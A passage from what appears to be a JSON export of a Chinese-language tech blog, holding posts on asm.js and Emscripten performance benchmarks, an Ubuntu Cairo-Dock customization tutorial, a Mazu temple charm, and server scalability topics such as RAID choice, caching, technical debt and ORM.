DNA 序列的特定的特徵（pattern）。\n原本的 Benchmark Game 測試中是使用 fasta 產生一個輸出檔案，再使用 reverse-complement 與 regex-dna 以重新導向（redirecting）的方式讀取這個檔案，但是這樣的測試方式無法在瀏覽器中使用，所以這裡我們稍微修改一下，首先我們將三個測試程式合併為一個大的程式，並將這個大程式命名為 fasta-combo，接著將重新導向的方式改為讀取單一檔案。\n除了這三個測試之外，我們也選用了 binary-trees（建立與移除二元樹資料結構）、fannkuch-redux（產生一連串的數值並根據某些規則排序）、mandelbrot（產生一個曼德博集合的碎形點陣圖）、meteor-contest（計算拼圖可組裝的方式）、n-body（模擬類木行星的運行軌道）與 spectral-norm（計算無限矩陣的最大特徵值的平方根），這些測試的測量都是以它們的執行時間為準，也就是說量測出來較低的數值代表較高的執行效能。\n為了方便測試這些程式的效能，我們將每個程式加入記錄與顯示執行時間的功能，這部分的修改純粹只是為了方便性的考量，無關測試的精準度。雖然 UNIX 系統中有一些很方便的工具可以測量執行時間，但是在 Windows 中就沒有這樣的工具，使用這樣「入侵性」的時間測量會導致測量結果低估真正的執行時間，就原生程式而言，這樣的方式會沒辦法測量到初始化的部分，而 asm.js 則是會無法測量到 asm.js 的編譯時間，但我們感覺以這樣的微小誤差換來在各種平台上的測量方便性是很值得的。\n最後要強調的是，這些標竿分析測試並不能代表所有程式的執行狀況，使用這些測試程式也不見得是最好的測試方式，你甚至可以改寫這些程式，改善它們的效能，讓整個測試結果翻盤。基本上這些測試結果只是告訴你這些程式執行的結果如何，不代表你拿你自己的程式放上來跑之後也會有同樣的結果，因為每個程式都不同，要想知道自己的程式的執行效能，只能自己測試，這是一般人看這種標竿分析常有的盲點。\n從 GitHub 下載 這裡的測試程式（可以從 GitHub 網站上面下載）是使用 Clang 3.2 與 Emscripten incoming@1ed2d7f 來產生一般的 JavaScript 與 asm.js JavaScript，而原生程式則是使用 Visual Studio 2012 來編譯，加上基本的最佳化（包含自動向量化），為了保持某些程式碼的相容性，我們使用 November CTP preview 版本的編譯器，這不會影響到最佳化的功能，但它可以讓一些測試程式中的 C++ 功能正常運作。對於 Emscripten 而言，它只能使用 Clang 的編譯器，而原生程式選用 Visual Studio 的原因是因為它是 Windows 標準的編譯器一支，而且也很普遍，通常編譯出來的程式也比較不會有問題，而在 Windows 中的 Clang 編譯器目前也還在發展當中，所以無法使用。\n在本篇測試報告撰寫的時候，asm.js 編譯器只有在 Firefox Nightly builds 版本中可以使用，最後我們在 64 位元的 Window 8 上使用 Nightly 2013-05-07 這個版本來測試，另外也測試了 32 位元的 Internet Explorer 10.0.4。\nEmscripten 可以輸出單獨的 JavaScript 檔案，這種 JavaScript 檔案適用於 node.js（Chrome 的 V8 引擎）或 jsshell（Firefox 的 JavaScript 引擎）這類的環境，或者也可以輸出內崁 JavaScript 的 HTML 檔案，這樣的 HTML 輸出檔案還可以提供額外的一些功能，例如 Canvas 與 WebGL 等，在大部分的狀況中我們會使用 HTML 檔案的方式來測試，因為我們還要與 Internet Explorer 比較。\n我們也測試過各種版本的 Chrome 瀏覽器（stable、dev 與 canary branches），但是都無法測完所有的程式，大部分的原因是因為記憶體的因素，若要讓所有的測試程式都可以執行，必須指定 512MB 的大型陣列（asm.js 中陣列的長度必須是 2 的整數次方），在 Internet Explorer 中它會使用 aplomb 來處理，但是在 Chrome 中則會無法執行，而 Firefox 在大部分的狀況下是正常的，但偶爾會出現 out-of-memory 的錯誤，需要重新啓動。\n至於測試時所使用的的硬體規格，CPU 是 3.4GHz 的 Intel Sandy Bridge Xeon E3-1275（3.8GHz turbo），記憶體為 1333MHz 的 16GB 記憶體。\n基本測試結果 講了那麼多，接下來就來看實際的測試結果，首先是基本的測試。\n基本的測試中，一般的 JavaScript 平均可以到達原生程式 40% 的效能，而 asm.js 則有 68%，這樣的結果對於比較在意效能的人，縱使以比較好的 asm.js 效能來說，可能只是可以接受的標準而已，稱不上很好。\nSTREAM 的測試結果比較理想，asm.js 在這裡明顯比一般的 JavaScript 要好，尤其是在 Scale、Add 與 Triad 這幾個測試中，這也可以看出 asm.js 在讀取陣列中的資料時，拿掉檢查與轉換的動作對於其效能的影響很大。\nLINPACK 與 Whetstone 這兩個浮點運算比較多的測試，其結果就比較差，Whetstone 使用 asm.js 僅僅只增加了 7% 的效能，LINPACK 則好一些，增加了 38%，但是比起其他幾個測試還是不太好。\n以 Whetstone 的結果來說，有人可能會認為這是 Firefox 的 JavaScript 引擎本來在浮點數的運算效能上就已經不錯了，所以要再加速很困難，但是由 LINPACK 測試的結果可以看出來，事實不是這樣，這是所有測試裡面最糟糕的一個，執行速度只有原生程式的 26%。\n接著來看 Benchmark Game 的測試結果。\n在傳統 JavaScript 的表現上實在不怎麼理想，其平均執行時間是原生程式的 4.2 倍，而 asm.js 的效能在這裡卻顯得格外突出，其平均執行時間只比原生程式多出 64%，不到傳統 JavaScript 執行時間的 40%，其中大部分的情況已經可以達到實際應用所需要的執行效能了。\n在 asm.js 的測試中，mandelbrot 是很明顯的拖油瓶，它花費的時間是原生程式的 3.9 倍，基本上從表面上很難看出為什麼它會那麼慢，其所用的到運算包含檔案 I/O、浮點運算與位元運算，而這些運算在其餘的測試中也都有做，但是也沒這麼慢。屏除 mandelbrot 不看的話，asm.js 平均只比原生程式慢 26%。\n整體而言，在單一執行序的這些基本程式上，asm.js 架構的效能算是可圈可點。\n繼續閱讀：asm.js 架構與 Emscripten 編譯器 \u0026ndash; Mozilla 在網頁上發展出接近原生（Native）程式效能的 JavaScript 程式（三）\n","permalink":"https://blog.gtwang.org/web-development/asm-js-emscripten-2/","summary":"\u003cp\u003e\u003ca href=\"/web-development/asm-js-emscripten-1/\"\u003e上一篇\u003c/a\u003e我們介紹了 asm.js 架構的說明，這裡我們直接來看以實際的程式所測試出來的標竿分析（benchmarking）。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"標竿分析benchmarking\"\u003e標竿分析（Benchmarking）\u003c/h2\u003e\n\u003cp\u003e標竿分析（benchmarking）是一個棘手的問題，在實際的問題中有很多應用程式可以用來做標竿分析，但是因為我們的瀏覽器環境有許多限制，像是有限制的網路環境、儲存空間、顯示卡語音效裝置等等，所以我們這裡只選擇一些比較單純的程式來測試。\u003c/p\u003e","title":"asm.js 架構與 Emscripten 編譯器：Mozilla 在網頁上發展出接近原生（Native）程式效能的 JavaScript 程式（二）"},{"content":"上一篇的測試報告中，我們分析過基本的 asm.js 程式執行效能，大致上還不錯，這裡我們繼續討論更進階的主題。\n進階測試結果 但很不幸的，實際情況往往會比較複雜，在你要使用 asm.js 架構開始開發程式或是跟同事大力推銷 asm.js 之前，你必須先注意幾個問題。\n最簡單的問題就是：asm.js 的高效能目前只有在 Firefox 中才能達到，目前最新版的 Firefox 22 才剛剛加入 asm.js 的功能，至於其他的瀏覽器當然就無法支援 asm.js 這個架構了，而最慘的是：根據我們的測試結果，asm.js 在不支援 asm.js 架構的瀏覽器中，效能反而更差！\n之前我們看過原生程式與 Firefox 中一般 JavaScript 與 asm.js 的效能比較，接著我們來看 Internet Explorer 的效能如何。\n這裡可以看出來，Chakra（IE 所使用的 JavaScript 引擎）的執行速度比 Firefox 慢（至少由 Emscripten 產生的程式是這樣），只有 n-body 這個測試例外，但這不代表 Chakra 在實際的應用上會比較慢，畢竟由 Emscripten 所產生的 JavaScript 程式碼與一般的 JavaScript 還是有一些差異的，所以在 Chakra 上跑得比較慢其實也不意外。\n這裡也可以看出在大部分的情況下，asm.js 讓情況變得更糟糕，從原本的 6.4 倍原生程式執行時間增加到 6.8 倍，多出 6% 的執行時間。\n因此，如果開發者想要開發出一個執行效能還不錯的網頁應用程式，asm.js 這個架構在目前來說可能不是最好的選擇。\nEmscripten 的程式也有記憶體不足的問題，我們測試程式裡面最大的應該就是 STREAM，它 allocate 了大約 240MB 的記憶體空間來存放他的測試資料，重點是他的原生程式所使用的記憶體不到 256MB，而因為 asm.js 的記憶體配置必須是 2 的整數次方，照道理說應該可以在使用 256MB 記憶體大小的狀況下來執行，但是實際上 256MB 不夠，它需要下一個大小的記憶體空間，也就是 512MB。這樣一來，記憶體的用量比較大再加上記憶體配置的大小限制在 2 的整數次方，可能會造成一些程式需要配置到很大的記憶體，多出來的部分就浪費掉了。\n這些問題可望在未來可以獲得解決，在今年的 Google I/O 研討會上至少有一家瀏覽器表示對於 asm.js 有興趣，Google 也表示它們所做的最佳化可以讓 asm.js 的效能上升 2.4 倍，有了 Google 的幫助，Chrome 瀏覽器的問題應該就可以決了。\n平台限制 Emscripten 目前並沒有提供完整的執行環境，由於他是在瀏覽器中執行的，所以它還是缺乏某些功能（例如完整的網路功能）。另外它的函式庫也有一些問題，例如用來取得系統時間的 POSIX/UNIX 的標準函數 clock_gettime() 雖然有在 Emscripten 中，但是卻不能使用（它永遠只會傳回 0），雖然另外一個 gettimeofday() 函數可以正常使用，以這個狀況來說問題不大，但這也表示 Emscripten 還有許多地方需要再修改。\n除了上面講的時間函數之外，Emscripten 也還有一些比較嚴重的問題，例如執行序的部份，Emscripten 在某方面來說就顯的綁手綁腳，傳統的 JavaScript 同時間只能有一個執行序在執行，在比較新的 Web Workers 標準中，雖然加入一些多執行序的功能，但是功能也還是非常有限，Web Workers 中的執行序不能互相交換資料，所以能做的事情很有限，但除用用這樣的方式以外，也很難找到一個方法讓平行化更容易且維持較好的執行效率。\n因此 Emscripten 只能用在單一執行序的程式上，這在我們的測試中顯然對於 Emscripten 不太公平，所以原生程式在測試時，我們就不使用多執行序的版本（當然也是可以使用，不過這樣只是讓測試結果更懸殊而已）。\n多執行序的 binary-trees 與 mandelbrot 與單一執行序的版本基本上程式是一樣的，只是在迴圈上加上一行 OpenMP 的指令而已，這種平行化的方式很簡單，但是因為這個問題的特性，縱使使用這樣簡單的方式也可以得到很好的加速倍率，跟多執行序的原生程式比較之下，asm.js 程式的執行時間是 binary-trees 的 2.87 倍、mandelbrot 的 12.2 倍。\nEmscripten 也沒有類似SSE 與 AVX 的 SIMD（Single Instruction, Multiple Data）功能，因為 Firefox 的 JavaScript 引擎根本不會產生向量化的程式碼，而我們在編譯原生程式時所使用的編譯器確實會使用 SSE2，但是它在大部分的狀況下只會用到 scalar（Single Instruction, Single Data）的功能而已，只有 LINPACK 與 STREAM 這兩個程式會使用到向量化的指令集。\n使用向量化的指令集理所當然會有較高的效能，Benchmark Game 包含了一個 SSE3 版本的 fannkuch-redux 測試程式，這種平行化比 OpenMP 更複雜，它幾乎需要改寫整個程式，但是效能的提升會更明顯：\n使用 SSE3 的最佳化版本所使用的執行時間只有一般版本的 40%，而再與 asm.js 相較之下，落差就更大了，asm.js 比起 SSE3 的版本，需要 3.7 倍的執行時間。\n我們手上並沒有多執行序或 SIMD 版本的原始程式碼，我們只拿到封閉原始碼的二進位執行檔，所以無法保證測試出來結果的可靠度與正確性，但至少可以看出最佳化版本與一般單執行序版本之間的差異：\n如果你對於這方面有興趣，Intel 官方撰寫的 LINPACK 最佳化版本可以從它的網站上下載，而很普遍被使用的標竿分析工具 SiSoftware Sandra 中也有包含多執行序且經過最佳化的 Whetstone（使用 SSE4）與 Dhrystone（使用 SSE3），其中也包含很多記憶體的標竿分析，其中一個就是最佳化過後的 STREAM。\n基本上在一些沒有著重於效能與最佳化的一般程式上，asm.js 才可以展現它的長處，但如果一個程式原本的效能就已經非常好了，像使用多執行序或是 SIMD 平行化之後的程式，那麼使用 Emscripten 與 asm.js 之後，縱使他還是可以執行，但是效能跟原生程式比較起來就會很糟糕。\n很明顯的，如果 asm.js 想要跟這些平行化的程式並駕齊驅，那麼就要開發許多針對高效能運算的功能，像是 shared memory multithreading 等，但是這樣的架構將會大幅改變現有的瀏覽器架構，也會牽涉到網頁中其它的功能（例如 WebGL 等），是個浩大的工程，沒有那麼容易做到，以目前來看大概不太可能在短時間內實現。\n麻煩的開發流程 我們很幸運的在一開始就拿到可以正常運作的程式碼，所以可以省去除錯等相關的工作，否則依照 Emscripten 目前的功能，開發起來可能會很辛苦，因為不論是否使用 asm.js，他還是欠缺許多該有的除錯功能。\nEmscripten 所產生的 JavaScript 程式碼非常大，例如 binary-tree 的原生程式有 16,896 bytes，而一般的 JavaScript 版本則有 379,784 bytes，asm.js 的話則是 667,207 bytes，一般的瀏覽器並不是為了這種程式碼而設計的，所以當你使用瀏覽器的除錯工具時，這麼大的 JavaScript 檔案開起來會非常慢（無論是 Firefox、Chrome 或是 Internet Explorer 都一樣），而且用起來也不穩定。\n基本上這個問題其實也不是很重要，因為大部分的情況你不會由 JavaScript 的程式碼來除錯，因為 Emscripten 所產生的程式碼雖然比組合語言好懂一些，也確實有函數與函數呼叫的結構，但是除此之外，你大概也沒辦法看懂什麼，要從 JavaScript 來除錯其實不是一個好辦法。\n針對這個除錯的問題，目前已經有一項技術正在發展，就是 Source Maps，這個工具可以讓你在除錯時同時看到編譯過的程式與原始碼之間的對應，但是基本的除錯技巧與經驗還是必要的。原生碼的除錯器是一個比較複雜的工具，它可以在組合語言與原始碼之間切換、逐步執行與觀看記憶體中的資料等，而 JavaScript 的除錯器因為還不成熟，所以使用上可能不是那麼順手，再加上 asm.js 的因素，可能會更雪上加霜。\n以目前的情況來說，要除錯最好的方式是使用一般原生碼的除錯工具，把錯誤都修正完成之後，再使用 Emscripten 編譯成 JavaScript 程式碼，這樣可以避開在 JavaScript 中除錯的程序，但是如果你的程式有一部分是使用 Emscripten 編譯的，而另一部分是手寫的 JavaScript 程式的話，就比較難這樣使用了。\n編譯過程所花費的時間也是 Emscripten 的問題之一，在編譯成 node.js 與非 asm.js 程式的過程中，會進行很多的最佳化步驟，這使得編譯的過程變得很花時間，跟原生程式的編譯時間比起來多了 10 倍到 50 倍，這也是開發過程中一個惱人的問題。\nasm.js 還是不錯的！ asm.js 基本上已經夠快了，我們測試用的 PC 並不是世界上最快的電腦，但是它已經算是非常快的了，根據 Steam Hardware Survey 的資料，即使跟一些遊戲用的電腦相比，我們的配備還是在前 15% 左右，即使程式跑的稍微慢一些（多出 26% 的執行時間），整題而言還是不錯的。\n但如果我們使用比較老舊的電腦，會得到一樣的結論嗎？個人感覺是不會，因為在很慢的電腦中多出 26% 的執行時間可能讓感覺還可以的程式變成很慢。這個問題在一些手持裝置上更是明顯，多出 26% 的執行時間意味著 CPU 要多跑這麼久，也就是要多浪費這麼多的電力，這對於電力有限的裝置而言是一大致命傷。\n基本上我們大概不會想要把手直裝置上的原生程式替換成 asm.js，但是如果將傳統的網頁應用程式用 asm.js 取代可能是比較可行的，一般來說 asm.js 的效能會比 Emscripten 所產生的一般 JavaScript 來的好，跟手寫的 JavaScript 比起來又更好一些。\n我們沒有每一個 Benchmark Game 測試程式的手寫 JavaScript 版本，這裡只能嘗試測試幾個例子，這些測試是在 jsshell 中執行的：\n這些結果的變異非常大，其中兩個手寫的 JavaScript 比 asm.js 慢，而另外兩個反而比較快。\n整體而言，asm.js 跟原生程式比較起來還是遜色不少，但是作為一般 JavaScript 的輔助工具算是很不錯的選擇。\n參考資料 Ars Technica ","permalink":"https://blog.gtwang.org/web-development/asm-js-emscripten-3/","summary":"\u003cp\u003e\u003ca href=\"/web-development/asm-js-emscripten-2/\"\u003e上一篇\u003c/a\u003e的測試報告中，我們分析過基本的 asm.js 程式執行效能，大致上還不錯，這裡我們繼續討論更進階的主題。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"進階測試結果\"\u003e進階測試結果\u003c/h2\u003e\n\u003cp\u003e但很不幸的，實際情況往往會比較複雜，在你要使用 asm.js 架構開始開發程式或是跟同事大力推銷 asm.js 之前，你必須先注意幾個問題。\u003c/p\u003e","title":"asm.js 架構與 Emscripten 編譯器：Mozilla 在網頁上發展出接近原生（Native）程式效能的 JavaScript 程式（三）"},{"content":"這裡介紹如何將 Ubuntu Linux 的 Unity 桌面選單改造成跟 Mac OS X 一樣，有很炫的放大特效與動畫。\n現在的 Ubuntu Linux 桌面預設都是使用 Unity，因為設計上似乎不是很好用，很多人都很詬病，這裡教大家如何使用 Unity Tweak Tool 與 GLX-Dock 這兩個工具，將你的 Ubuntu Linux 桌面改造，變得跟 Mac OS X 一樣好用。\n以下是安裝與設定的教學。\nStep 1\n首先安裝 GLX-Dock 與 Unity Tweak Tool 這兩個工具，對於指令不熟悉的人，可以使用「Ubuntu 軟體中心」來安裝。\n在「Ubuntu 軟體中心」中找到「GLX-Dock」與「Unity Tweak Tool」，並且把它們安裝起來。\n如果你喜歡用指令，亦可用 apt-get 指令來安裝：\napt-get install cairo-dock unity-tweak-tool Step 2\n打開 Unity Tweak Tool，選擇「Unity」類別中的「Launcher」進行設定。\n因為我們要把桌面改造成 Dock 的形式，所以現在先把原本的 Unity 選單隱藏起來。\n在「Launcher」中，將「Auto-hide」功能打開，這樣桌面左邊的 Unity 選單就會自動隱藏起來，而如果之後想要叫出 Unity 選單，就按下鍵盤上的視窗鍵（window key）。\nStep 3\n選擇「Panel」籤頁，把「Transparency」打開，這樣就設定好了，接著就把 Unity Tweak Tool 關閉。\nStep 4\n按下鍵盤上的視窗鍵（window key），在選單中尋找「Cairo-Dock」，然後執行它。\n基本上你應該會看到兩個版本，如果你的硬體有支援 OpenGL，就選擇使用 OpenGL 的 Cairo-Dock，這樣執行起來會比較順。\n執行 Cairo-Dock 之後，桌面上就會出現漂亮的 Dock 選單了。\n選單的功能幾乎跟 Mac OS X 桌面的 Dock 一模一樣，而且流暢程度也跟 Mac 相當，動畫做得也很炫，非常好用。\n顯示資料夾的方式也比照 Mac OS X Dock 的方式。\n在主選單的部分，也使用大家習慣的傳統方式（至少我是比較習慣這種），不會讓你常常找東西要找半天。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-mac-dock-unity-tweak-tool/","summary":"\u003cp\u003e這裡介紹如何將 Ubuntu Linux 的 Unity 桌面選單改造成跟 Mac OS X 一樣，有很炫的放大特效與動畫。\u003c/p\u003e\n\u003cp\u003e現在的 Ubuntu Linux 桌面預設都是使用 Unity，因為設計上似乎不是很好用，很多人都很詬病，這裡教大家如何使用 Unity Tweak Tool 與 GLX-Dock 這兩個工具，將你的 Ubuntu Linux 桌面改造，變得跟 Mac OS X 一樣好用。\u003c/p\u003e","title":"將 Ubuntu Linux 的桌面選單改造成跟 Mac 的 Dock 一樣有特效與動畫（使用 Unity Tweak Tool 與 GLX-Dock 教學）"},{"content":"這是 2013 台灣燈會北港媽祖紀念錢母平安符，當時是要到燈會現場才有可以拿的。\n最近我到竹北天后宮媽祖廟上香，碰到有人在發這個平安符，似乎是當初沒發完的，現在又拿來發給大家，拿了之後可以自己進去媽祖廟過香爐，帶回去保平安。\n這是平安符的背面，「媽祖愛你一生，保你平安一輩子」。\n平安符上的錢母也有好多種，有「順治通寶」、「康熙通寶」、「雍正通寶」、「乾隆通寶」、「嘉慶通寶」、「道光通寶」、「咸豐通寶」、「同治通寶」、「光緒通寶」與「宣統通寶」。\n","permalink":"https://blog.gtwang.org/life/mazu-charm-2013/","summary":"\u003cp\u003e這是 2013 台灣燈會北港媽祖紀念錢母平安符，當時是要到燈會現場才有可以拿的。\u003c/p\u003e\n\u003cp\u003e最近我到竹北天后宮媽祖廟上香，碰到有人在發這個平安符，似乎是當初沒發完的，現在又拿來發給大家，拿了之後可以自己進去媽祖廟過香爐，帶回去保平安。\u003c/p\u003e","title":"2013 台灣燈會北港媽祖紀念錢母平安符"},{"content":"擴充性專家 Sean Hull 整理了幾項對於系統擴充性（Scalability）與效能（Performance）的致命傷，如果你的系統或程式想要有好的擴充性，請避免這幾種狀況。\n不要用 RAID 5 與 Multi-tenant EBS 硬碟是伺服器中一個很基本的硬體設備，而它與伺服器的整體效能息息相關，縱使現在記憶體價格低廉，你可以在伺服器上裝載非常大容量的記憶體，藉以提升系統的執行速度，但無可避免的，系統還是常常需要從硬碟讀取資料或將資料再寫回硬碟中儲存，因此硬碟在伺服器的效能（performance）與可擴充性（scalability）上扮演舉足輕重的角色。\n磁碟陣列是一般伺服器中常用的資料儲存方式，透過這樣的方式可以提高儲存的讀寫速度、增加資料的可靠度。磁碟陣列分為好多種，但不是每一種都那麼適合你的伺服器來使用，像一般常聽到的 RAID 5 磁碟陣列就有一些問題。\nRAID 5 磁碟陣列的問題 RAID 5 這種磁碟陣列本來是設計讓你可以使用較少的硬碟，得到較大的儲存空間，這樣的設計其實主要是用於硬碟插槽不足的伺服器，但有些人不了解它效能有多差，所以造成誤用的狀況，如果在作為資料庫的伺服器中使用 RAID 5，其效能影響更是嚴重。\nRAID 5 不是對儲存的資料進行備份，而是把資料和相對應的奇偶校驗訊息儲存到組成 RAID 5 的各個磁碟上，並且奇偶校驗訊息和相對應的資料分別儲存於不同的磁碟上。當 RAID 5 的一個磁碟資料發生損壞後，可以利用剩下的資料和相應的奇偶校驗訊息去恢復被損壞的資料。\nRAID 5 可以理解為是 RAID 0 與 RAID 1 的折衷方案。RAID 5 可以為系統提供資料安全保障，但保障程度要比鏡像低而磁碟空間利用率要比鏡像高。RAID 5 具有和 RAID 0 相近似的資料讀取速度，但是因為多了一個奇偶校驗訊息，寫入資料的速度相當的慢。\n在 RAID 5 的磁碟陣列中，每次的硬碟寫入時都會對效能有影響，此外如果你的硬碟陣列中有一顆硬碟壞掉了，這時候雖然 RAID 5 還是在運作，但它會變得很慢（感覺像當掉一樣），這對於效能的影響就很大了。另外如果要重新建立 RAID 5 磁碟陣列也非常耗時，如果在重建完成之前，又有另一顆硬碟損壞了，那資料就沒救了。\nRAID 5 有這些問題，那該怎麼辦呢？答案是可以改用 RAID 10（也稱作 RAID 1+0），它總共是使用四顆硬碟，先做兩組 RAID 1（鏡射），然後再合起來做 RAID 0（分割）。\nRAID 10 對於資料的讀取與寫入都有不錯的效能表現，而在可靠度上也比較沒有問題。\n什麼是 Multi-tentant？ 在雲端的架構中，通常很多用戶會共享伺服器（server）、網路（network）與儲存（storage），就像公寓中的每個住戶都會共享大樓中的公共設施一樣，這樣的概念就是 multi-tentant（中文應該是翻譯成「多重租戶」）。\n亞馬遜（Amazon）的 EBS（elastic block storage）拓展了這個概念，提供一個共享的網路儲存系統，雖然很方便，但是瓶頸到後來就會發生在同一區段的網路用戶，要搶奪有限儲存資源的問題。\n一般的伺服器通常都會出現這類的問題，不過 Amazon 宣稱它們已經使用了鮮為人知的 Provisioned IOPS 技術克服了這個問題，詳細的內容，可以參考 Amazon EBS 的網頁。\n避免使用 MySQL 實作佇列（Queuing） MySQL 資料庫在許多的應用上是一個好用的工具，但它不適用於實作應用程式的佇列。在你的資料庫中，是否有類似儲存工作的表格（table）？而這個表格的狀態欄位（status column）所儲存的值大概是像「等待」（queued）、「執行」（working）與「完成」（completed）等，如果你發現你的資料庫中有這樣的表格，那麼你其實很可能就是使用資料庫來實作佇列。\n由於資料鎖定與搜尋的問題，這樣的儲存方式是不適當的。如果需要佇列的功能，其實可以改用 RabbitMQ 這個資料庫，它就像 Amazon 的 SQS ，非常適合用於佇列的情況。\n避免使用 MySQL 實作全文搜尋（Full-Text Searching） Oracle 資料庫本身就有全文搜尋的功能，那位什麼 MySQL 中不能按照一樣的方式使用呢？其實 MySQL 本身也是有這樣的功能，但是在許多只有老舊 MyISAM 儲存引擎（storage engine）的 MySQL 資料庫中，使用全文搜尋會產生一些問題，另外它也不是很有效率。\n比較好的方式是使用 Apache Solr，他是專門設計用來搜尋的資料庫平台，提供各種語言的 API 給開發者使用，最棒的是它很好擴充，資源不足時，只需要增加伺服器就可以了。\n有些人對於開發中（bleeding edge）的東西比較感興趣，新的 MySQL 5.6 中，Innodb 雖然有全文搜尋的功能，但還是有一些問題存在，這也就是說現在如果你想使用全文搜尋的功能，還是改用 Solr 或是 Sphinx 配合 MySQL Sphinx SE plugin 會比較好。\n使用快取（Cache） 快取是一個可以增進應用程式與系統效率的方式，這個方式可以應用在很多地方，包含伺服器上與使用者端。\nMemcached 在你的應用程式與資料庫之間使用 Memcached 快取，可以有效減少不必要且重複的資料庫查詢，那些查詢過的資料將會放在記憶體中儲存，當下一次需要時就可以直接提供，省去後續的資料庫查詢動作。\nVarnish Cache 在網頁伺服器與使用者之間使用 Varnish Cache 快取伺服器，它可以安裝在任何使用 HTTP 通訊協定的網頁伺服器上，其作用類似代理伺服器的功能，它的執行效能很高，可以減輕網頁伺服器的負載，並加速伺服器回應使用者 request 的速度，根據 Varnish Cache 官方的說法，它可以加速 300 至 1000 倍的反應時間，加速的程度會因為伺服器架構的不同而有不同的加速倍率。\n瀏覽器快取（Browser Caching） 瀏覽器的快取也是很重要的功能，但是通常你無法控制使用者的瀏覽器，你能做的大概只有設定適當的 expires 標頭，決定哪些網頁內容應該被瀏覽器存進快取中。\n在 Apache 網頁伺服器中，可以藉由 mod_expires 模組來對一些靜態資料在瀏覽器快取中存放的時間，例如圖片、CSS 或 JavaScript 檔案都可以利用這樣的方式設定。設定方式可參考 Tsung\u0026rsquo;s Blog。\n繼續閱讀：提高系統與程式擴充性（Scalability）與效能（Performance）的十個方法（二）\n","permalink":"https://blog.gtwang.org/tips/the-10-deadly-sins-against-scalability-1/","summary":"\u003cp\u003e擴充性專家 Sean Hull 整理了幾項對於系統擴充性（Scalability）與效能（Performance）的致命傷，如果你的系統或程式想要有好的擴充性，請避免這幾種狀況。\u003c/p\u003e","title":"提高伺服器系統與資料庫擴充性（Scalability）與效能（Performance）的方法（一）"},{"content":"避免累積太多的 Technical Debt Technical debt 是指一個專案或程式開發工作在真正完成前，所有應該做完的工作，如果一個專案中所累積的 technical debt 太多而沒有適時消化，到最後這個專案就容易出現問題，甚至可能因此終結。\n這裡舉個簡單的例子，在一般的專案的發展過程中，有時候程式設計師會有一些新的想法，這時候他會想要在程式中加入這個新的程式，但是因為程式還在開發，很難一次把所有該更新或改寫的地方一次補齊，例如當程式加入一個新功能時，卻沒有更新對應的說明文件等等，而這些說明文件以及其他該更新的地方，就是常見的 technical debt。\n這時候如果很不幸的，原本這個開發團隊因為某些原因離開了，專案交由令一個團隊繼續開發，那些新增之後卻沒有文件的功能就是個大問題，新團隊要花費更多的時間搞清楚它是什麼，如果它裡面還有 bug 的話那就更慘了。\n類似像這樣的問題如果持續累積，當 technical debt 多到一定的程度時，程式設計師可能修正這些舊功能的問題就已經佔去他大部分的時間了，沒時間加入新的功能，所以整個專案的發展就停滯在這裡，甚至關閉整個專案。\n一般會產生 technical debt 的原因，大致上可歸類為下面幾項：\n商業壓力（business pressures）：由於商業問題，產品常常需要在專案所有的工作都完成前推出，這樣就直接造成一些未完成的 technical debt。 欠缺處理或考量（lack of process or understanding）：因為站在商業營運獲利的角度上，很容易忽略 technical debt 這件事，並且在沒有考慮後續影響的情況下做出決策。 缺乏建立低耦合元件（lack of building loosely coupled components）：程式中所有的功能如果都綁在一起，沒有被適當的模組化，降低各元件的耦合程度，那這樣的軟體會非常沒有彈性，一旦需求變動之後，很多東西就要重寫，寫不完的東西就變成 technical debt。 缺乏除錯套件（lack of test suite）：專案中若有完整的除錯套件，可以讓除錯的效率增加，減低專案的風險，反之若是缺乏除錯套件，那這些除錯工作就可能成為一個 technical debt。 缺乏文件（lack of documentation）：在程式開發之後，沒有撰寫對應的說明文件，這種狀況是一定會造成 debt 的，而且在實際的專案發展中也常常發生。 缺乏合作（lack of collaboration）：整個組織中沒有好的合作關係，知識與技術沒有充分交流，間接影響整體開發效率。 平行開發（parallel development）：同時以兩個以上的分支（branches）進行獨立的開發，到後來就會產生 technical debt，因為所有的分支到最後都要合併為一個，而在這中間只要獨立開發出越多的功能，最後的合併時就會有更多的 debt。 太慢進行重構（delayed refactoring）：在程式的發展過程中，隨著需求的演進，程式內部的程式結構也會越來越笨拙（失去彈性），這時候就必須對程式進行重構，將程式重新整理過。而進行重構的時機如果拖的越久，那就會有越多的程式以現有的架構撰寫，這樣就會造成在重構時有更多的 debt 需要改寫。 基本上要維持專案與程式的彈性與發展性，在適當的時機就要把這些 technical debt 處理掉，這樣專案與程式才有機會永續發展。\n物件關聯對應（ORM） 物件關聯對應（ORM，Object Relational Mappers）是一種程式設計的技術，用在物件導向的語言中，實作不同類型系統之間資料的轉換，它建立一種可以用於程式中的「虛擬物件資料庫」，讓程式設計師在撰寫程式時比較方便。\n由於物件導向是從軟體工程基本原則（如耦合、聚合、封裝）的基礎上發展起來的，而關聯式資料庫則是從數學理論發展而來的，兩套理論存在顯著的區別，而 ORM 就是為了解決兩者之間的差異而產生的。\n目前在市面上的 ORM 函式庫很多，免費的與付費的都有，像 Hibernate 就是一很常見的 Java ORM 函式庫，其它還有很多各式各樣的 ORM 函式庫，若想研究這類的軟體，可以參考 Wiki 的列表。\n雖然 ORM 非常普及，許多程式設計師都很喜歡它，但是程式效能的專家通常比較少在使用 ORM，你知道為什麼嗎？\n其實這是魚與熊掌不可兼得的問題，在一般的商業軟體中，程式設計是以符合商業需求為考量，以這樣的前提下，你會在程式中實作各種功能，讓你的軟體具備各式各樣吸引人的特色，程式的效能與擴充性通常不是第一優先的考量。\n透過 ORM 